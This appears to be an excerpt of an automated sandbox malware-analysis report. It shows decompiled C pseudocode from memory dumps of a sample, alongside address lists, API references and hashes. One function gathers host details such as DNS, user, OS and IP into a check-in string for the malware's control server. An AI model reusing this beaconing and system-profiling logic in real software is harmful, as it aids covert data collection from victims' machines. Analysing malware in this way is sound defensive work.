0x02f9b539
0x02f9b53a
0x02f9b53c
0x02f9b53e
0x02f9b53e
0x00000000
0x02f9b530
0x02f9b52e
0x02f9b50a
0x02f9b511
0x02f9b511
0x02f9b513
0x00000000
0x00000000
0x02f9b515
0x02f9b516
0x02f9b519
0x02f9b51b
0x00000000
0x00000000
0x00000000
0x02f9b51b
0x00000000
0x02f9b511
0x02f9b494
0x02f9b497
0x02f9b49c
0x00000000
0x00000000
0x02f9b4a5
0x02f9b4a7
0x02f9b4ad
0x00000000
0x00000000
0x02f9b4b3
0x02f9b4b9
0x00000000
0x00000000
0x02f9b4bf
0x02f9b4c1
0x02f9b4ca
0x02f9b4ce
0x00000000
0x00000000
0x02f9b4d4
0x02f9b4d7
0x02f9b4d9
0x00000000
0x00000000
0x02f9b4e0
0x02f9b4e2
0x00000000
0x00000000
0x02f9b4e4
0x02f9b4e8
0x00000000
0x00000000
0x00000000
0x02f9b4e8
0x00000000
0x00000000
0x00000000
0x02f9b3d3
0x02f9b3d3
0x02f9b3d3
0x02f9b3da
0x00000000
0x00000000
0x02f9b3dc
0x02f9b3dd
0x02f9b3df
0x00000000
0x00000000
0x00000000
0x02f9b3df
0x02f9b407
0x02f9b409
0x00000000
0x00000000
0x02f9b419
0x02f9b41b
0x02f9b41d
0x00000000
0x00000000
0x02f9b423
0x02f9b42a
0x02f9b456
0x02f9b456
0x02f9b458
0x02f9b45a
0x02f9b46e
0x02f9b470
0x00000000
0x00000000
0x00000000
0x00000000
0x02f9b45c
0x02f9b45c
0x02f9b45c
0x02f9b465
0x02f9b466
0x02f9b468
0x02f9b46a
0x02f9b46a
0x00000000
0x02f9b45c
0x02f9b42c
0x02f9b42c
0x02f9b42f
0x02f9b431
0x02f9b443
0x02f9b443
0x02f9b446
0x02f9b448
0x02f9b448
0x02f9b449
0x02f9b449
0x02f9b44f
0x02f9b44f
0x00000000
0x00000000
0x00000000
0x00000000
0x02f9b433
0x02f9b433
0x02f9b433
0x02f9b43a
0x00000000
0x00000000
0x02f9b43c
0x02f9b43c
0x02f9b43d
0x00000000
0x00000000
0x00000000
0x02f9b43d
0x02f9b43f
0x02f9b441
0x02f9b454
0x00000000
0x00000000
0x00000000
0x02f9b454
0x00000000
0x02f9b441
0x02f9b3b3
0x02f9b3b6
0x02f9b3b9
0x00000000
0x00000000
0x02f9b3bb
0x02f9b3bd
0x00000000
0x00000000
0x00000000
0x02f9b3bd
0x02f9b382
0x02f9b384
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 02F9B3F2

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 0d87fd13f109235c485293535cd996bf857f6e46c2706699887f0710b583e361
Instruction ID: 0f6e3651044102a22f10b5fb400c81ca106734f33142398af40137adfe95cd0a
Opcode Fuzzy Hash: 0d87fd13f109235c485293535cd996bf857f6e46c2706699887f0710b583e361
Instruction Fuzzy Hash: EF61B331F046069BFF29CF2DF980B2973A2EB853DCB248529DB45C7298E771D942CA54

Uniqueness

Uniqueness Score: -1.00%

Function 10002375, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002375(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10004178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x100041c0 = 1;
										__eflags =  *0x100041c0;
										if( *0x100041c0 != 0) {
											goto L60;
										}
										_t84 =  *0x10004178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x100041c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10004178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10004180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x1000417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x100041c0 = 1;
							__eflags =  *0x100041c0;
							if( *0x100041c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x100041c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10004180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10004178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x1000237f
0x10002382
0x10002388
0x100023a6
0x00000000
0x100023a6
0x10002390
0x10002399
0x1000239f
0x100023ae
0x100023b1
0x100023b4
0x100023be
0x100023be
0x100023c0
0x100023c3
0x100023c5
0x100023c5
0x100023c7
0x100023ca
0x00000000
0x00000000
0x100023cc
0x100023ce
0x10002434
0x10002434
0x10002592
0x00000000
0x10002592
0x100023d0
0x100023d0
0x100023d4
0x100023d6
0x100023d6
0x100023d6
0x100023d6
0x100023d9
0x100023da
0x100023dd
0x100023dd
0x100023e1
0x100023e5
0x100023f3
0x100023f3
0x100023fb
0x10002401
0x10002403
0x10002405
0x10002415
0x10002422
0x10002426
0x1000242b
0x1000242d
0x100024ab
0x100024ab
0x1000242f
0x1000242f
0x1000242f
0x100024ad
0x100024af
0x10002590
0x10002590
0x00000000
0x100024b5
0x100024b5
0x100024bc
0x00000000
0x00000000
0x100024c2
0x100024c6
0x10002522
0x10002524
0x1000252c
0x1000252e
0x10002530
0x00000000
0x00000000
0x10002532
0x10002538
0x1000253a
0x1000253c
0x10002551
0x10002551
0x10002553
0x10002582
0x10002589
0x00000000
0x10002589
0x10002557
0x10002558
0x1000255a
0x1000255c
0x1000255c
0x1000255e
0x10002560
0x10002562
0x10002576
0x10002576
0x10002579
0x1000257b
0x1000257b
0x1000257c
0x1000257c
0x00000000
0x10002564
0x10002564
0x10002564
0x1000256d
0x1000256e
0x10002570
0x10002572
0x10002572
0x00000000
0x10002564
0x10002562
0x1000253e
0x10002545
0x10002545
0x10002547
0x00000000
0x00000000
0x10002549
0x1000254a
0x1000254d
0x1000254f
0x00000000
0x00000000
0x00000000
0x1000254f
0x00000000
0x10002545
0x100024c8
0x100024cb
0x100024d0
0x00000000
0x00000000
0x100024d9
0x100024db
0x100024e1
0x00000000
0x00000000
0x100024e7
0x100024ed
0x00000000
0x00000000
0x100024f3
0x100024f5
0x100024fe
0x10002502
0x00000000
0x00000000
0x10002508
0x1000250b
0x1000250d
0x00000000
0x00000000
0x10002514
0x10002516
0x00000000
0x00000000
0x10002518
0x1000251c
0x00000000
0x00000000
0x00000000
0x1000251c
0x00000000
0x00000000
0x00000000
0x10002407
0x10002407
0x10002407
0x1000240e
0x00000000
0x00000000
0x10002410
0x10002411
0x10002413
0x00000000
0x00000000
0x00000000
0x10002413
0x1000243b
0x1000243d
0x00000000
0x00000000
0x1000244d
0x1000244f
0x10002451
0x00000000
0x00000000
0x10002457
0x1000245e
0x1000248a
0x1000248a
0x1000248c
0x1000248e
0x100024a2
0x100024a4
0x00000000
0x00000000
0x00000000
0x00000000
0x10002490
0x10002490
0x10002490
0x10002499
0x1000249a
0x1000249c
0x1000249e
0x1000249e
0x00000000
0x10002490
0x10002460
0x10002463
0x10002465
0x10002477
0x10002477
0x1000247a
0x1000247c
0x1000247c
0x1000247d
0x1000247d
0x10002483
0x00000000
0x00000000
0x00000000
0x00000000
0x10002467
0x10002467
0x10002467
0x1000246e
0x00000000
0x00000000
0x10002470
0x10002470
0x10002471
0x00000000
0x00000000
0x00000000
0x10002471
0x10002473
0x10002475
0x10002488
0x00000000
0x00000000
0x00000000
0x10002488
0x00000000
0x10002475
0x100023e7
0x100023ea
0x100023ed
0x00000000
0x00000000
0x100023ef
0x100023f1
0x00000000
0x00000000
0x00000000
0x100023f1
0x100023b6
0x100023b8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002426

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction ID: 0c254990f4eddd9df484f3b683da5194678d0c4feb8b8adbfe3d5bca3f7d4cb2
Opcode Fuzzy Hash: bc62919f775303453252f92297d23a638608a8d642d2c7d4ab03d1755088ac9f
Instruction Fuzzy Hash: 3861E170A00A52DFFB19CF28CCE065937E5EB893D5F628439D856C729DEB30DD828A54

Uniqueness

Uniqueness Score: -1.00%

Function 02F9B11C, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E02F9B11C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E02F9B287(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E02F9B341(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E02F9B22C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E02F9B287(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E02F9B323(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x02f9b120
0x02f9b121
0x02f9b122
0x02f9b125
0x02f9b127
0x02f9b12a
0x02f9b12b
0x02f9b12d
0x02f9b12e
0x02f9b12f
0x02f9b132
0x02f9b13c
0x02f9b1ed
0x02f9b1f4
0x02f9b1fd
0x02f9b142
0x02f9b142
0x02f9b148
0x02f9b14e
0x02f9b151
0x02f9b154
0x02f9b158
0x02f9b15d
0x02f9b162
0x02f9b1e2
0x00000000
0x02f9b164
0x02f9b164
0x02f9b170
0x02f9b172
0x02f9b1cd
0x02f9b1cd
0x02f9b1d3
0x00000000
0x02f9b174
0x02f9b183
0x02f9b185
0x02f9b186
0x02f9b187
0x02f9b18a
0x02f9b18a
0x02f9b18c
0x00000000
0x02f9b18e
0x02f9b18e
0x02f9b1d8
0x02f9b190
0x02f9b190
0x02f9b194
0x02f9b19c
0x02f9b1a1
0x02f9b1a6
0x02f9b1b2
0x02f9b1ba
0x02f9b1c1
0x02f9b1c7
0x02f9b1cb
0x00000000
0x02f9b1cb
0x02f9b18e
0x02f9b18c
0x00000000
0x02f9b172
0x02f9b1e6
0x02f9b1e6
0x02f9b1e6
0x02f9b162
0x02f9b202
0x02f9b209

Memory Dump Source

Source File: 00000001.00000002.487887011.0000000002F91000.00000020.00000001.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000001.00000002.487875206.0000000002F90000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487920719.0000000002F9C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.487930045.0000000002F9D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.487944197.0000000002F9F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 44e34a1159d628295a6f26bebca98574543b3051ba11cd12e0899e5b9d6c7269
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: 0A21A1329002049FEB14EF68DC809ABBBA5FF443A4B4581A8DA559B245E730FA55CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 10002154, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E10002154(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E100022BB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E10002375(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E10002260(_t55, _t66);
										_t89 = _t66 + 0x10;
										E100022BB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E10002357(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x10002158
0x10002159
0x1000215a
0x1000215d
0x1000215f
0x10002162
0x10002163
0x10002165
0x10002166
0x10002167
0x1000216a
0x10002174
0x10002225
0x1000222c
0x10002235
0x1000217a
0x1000217a
0x10002180
0x10002186
0x10002189
0x1000218c
0x10002190
0x10002195
0x1000219a
0x1000221a
0x00000000
0x1000219c
0x1000219c
0x100021a8
0x100021aa
0x10002205
0x10002205
0x1000220b
0x00000000
0x100021ac
0x100021bb
0x100021bd
0x100021be
0x100021bf
0x100021c2
0x100021c2
0x100021c4
0x00000000
0x100021c6
0x100021c6
0x10002210
0x100021c8
0x100021c8
0x100021cc
0x100021d4
0x100021d9
0x100021de
0x100021ea
0x100021f2
0x100021f9
0x100021ff
0x10002203
0x00000000
0x10002203
0x100021c6
0x100021c4
0x00000000
0x100021aa
0x1000221e
0x1000221e
0x1000221e
0x1000219a
0x1000223a
0x10002241

Memory Dump Source

Source File: 00000001.00000002.490984420.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.490965910.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.491002368.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 9c57574405240a8165450f76d07df83800bb314007ae7cce2d6078ed4837daf0
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 6521CB76900204AFD710DFA8CCC09A7F7A5FF49390B468158DD599B249D730FA25CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 02F9A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E02F9A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x2f9d018; // 0x139c7884
				asm("bswap eax");
				_t27 =  *0x2f9d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x2f9d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x2f9d00c; // 0xeec43f25
				asm("bswap eax");
				_t30 =  *0x2f9d27c; // 0xd0a5a8
				_t3 = _t30 + 0x2f9e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x2f9d02c,  *0x2f9d004, _t25);
				_t33 = E02F91C1A();
				_t34 =  *0x2f9d27c; // 0xd0a5a8
				_t4 = _t34 + 0x2f9e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E02F954BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x2f9d27c; // 0xd0a5a8
					_t6 = _t83 + 0x2f9e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x2f9d238, 0, _t96);
				}
				_t97 = E02F97649();
				if(_t97 != 0) {
					_t78 =  *0x2f9d27c; // 0xd0a5a8
					_t8 = _t78 + 0x2f9e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x2f9d238, 0, _t97);
				}
				_t98 =  *0x2f9d32c; // 0x3ca95b0
				_a32 = E02F99395(0x2f9d00a, _t98 + 4);
				_t42 =  *0x2f9d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x2f9d27c; // 0xd0a5a8
					_t11 = _t74 + 0x2f9e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x2f9d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x2f9d27c; // 0xd0a5a8
					_t13 = _t71 + 0x2f9e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x2f9d238, 0, 0x800);
					if(_t100 != 0) {
						E02F97A80(GetTickCount());
						_t50 =  *0x2f9d32c; // 0x3ca95b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x2f9d32c; // 0x3ca95b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x2f9d32c; // 0x3ca95b0
						_t103 = E02F98307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x2f9c2ac);
							_push(_t103);
							_t62 = E02F93CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E02F91199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E02F9A1B0();
								}
								HeapFree( *0x2f9d238, 0, _v44);
							}
							HeapFree( *0x2f9d238, 0, _t103);
						}
						HeapFree( *0x2f9d238, 0, _t100);
					}
					HeapFree( *0x2f9d238, 0, _a24);
				}
				HeapFree( *0x2f9d238, 0, _t105);
				return _a12;
			}

0x02f9a279
0x02f9a279
0x02f9a279
0x02f9a280
0x02f9a286
0x02f9a28e
0x02f9a290
0x02f9a290
0x02f9a29d
0x02f9a2a8
0x02f9a2ab
0x02f9a2b6
0x02f9a2b9
0x02f9a2be
0x02f9a2c1
0x02f9a2c6
0x02f9a2c9
0x02f9a2d5
0x02f9a2e2
0x02f9a2e4
0x02f9a2ea
0x02f9a2ef
0x02f9a2fa
0x02f9a2fc
0x02f9a2ff
0x02f9a306
0x02f9a30a
0x02f9a30c
0x02f9a311
0x02f9a31d
0x02f9a31f
0x02f9a32b
0x02f9a32d
0x02f9a32d
0x02f9a338
0x02f9a33c
0x02f9a33e
0x02f9a343
0x02f9a34f
0x02f9a351
0x02f9a35d
0x02f9a35f
0x02f9a35f
0x02f9a365
0x02f9a378
0x02f9a37c
0x02f9a383
0x02f9a386
0x02f9a38b
0x02f9a396
0x02f9a398
0x02f9a39b
0x02f9a39b
0x02f9a39d
0x02f9a3a4
0x02f9a3a7
0x02f9a3ac
0x02f9a3b6
0x02f9a3b8
0x02f9a3c0
0x02f9a3d9
0x02f9a3dd
0x02f9a3e9
0x02f9a3ee
0x02f9a3f7
0x02f9a408
0x02f9a40c
0x02f9a415
0x02f9a41b
0x02f9a428
0x02f9a435
0x02f9a43b
0x02f9a447
0x02f9a44d
0x02f9a44e
0x02f9a455
0x02f9a459
0x02f9a45f
0x02f9a466
0x02f9a46d
0x02f9a473
0x02f9a47a
0x02f9a47e
0x02f9a489
